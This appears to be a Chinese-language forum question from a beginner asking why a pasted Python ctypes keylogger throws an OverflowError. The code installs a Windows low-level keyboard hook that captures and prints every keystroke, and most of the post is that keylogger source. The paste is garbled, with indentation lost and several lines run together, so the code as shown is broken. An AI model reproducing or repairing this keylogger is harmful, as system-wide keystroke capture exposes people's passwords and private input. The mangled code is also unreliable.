异常出在哪里,刚刚接触,希望能详细一点。
Python 3.6.4 (v3.6.4:d48eceb, Dec 19 2017, 06:54:40) [MSC v.1900 64 bit (AMD64)] on win32
Type "copyright", "credits" or "license()" for more information.
import sys
from ctypes import *
from ctypes.wintypes import MSG
from ctypes.wintypes import DWORD
user32=windll.user32
kernel32=windll.kernel32
WH_KEYBOARD_LL=13
WM_KEYDOWN=0x0100
CTRL_CODE=162
class KeyLogger:
def init(self):
self.lUser32 =user32
self.hooked =None
def installHookProc(self,pointer):
self.hooked=self.lUser32.SetWindowsHookExA(
WH_KEYBOARD_LL,
pointer,
kernel32.GetModuleHandleW(None),
0
)
if not self.hooked:
return False
return True
def uninstallHookProc(self):
if self.hooked is None:
return
self.lUser32.UnhookWindowsHookEx(self.hooked)
self.hooked=Nonedef getFPTR(fn):
CMPFUNC=CFUNCTYPE(c_int,c_int,c_int,POINTER(c_void_p))
return CMPFUNC(fn)def hookProc(nCode,wParam,lParam):
if wParam is not WM_KEYDOWN:
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)
hookedKey=chr(lParam[0])
print(hookedKey)
if(CTRL_CODE==int(lParam[0])):
print("Ctrl pressed,call uninstallHook()")
keyLogger.uninstallHookProc()
sys.exit(-1)
return user32.CallNextHookEx(keyLogger.hooked,nCode,wParam,lParam)def startKeyLog():
msg=MSG()
user32.GetMessageA(byref(msg),0,0,0)keyLogger=KeyLogger()
pointer=getFPTR(hookProc)
if keyLogger.installHookProc(pointer):
print("installed keyLogger")
installed keyLogger
startKeyLog()
异常:Traceback (most recent call last):
File "_ctypes/callbacks.c", line 234, in 'calling callback function'
File "", line 4, in hookProc
OverflowError: Python int too large to convert to C long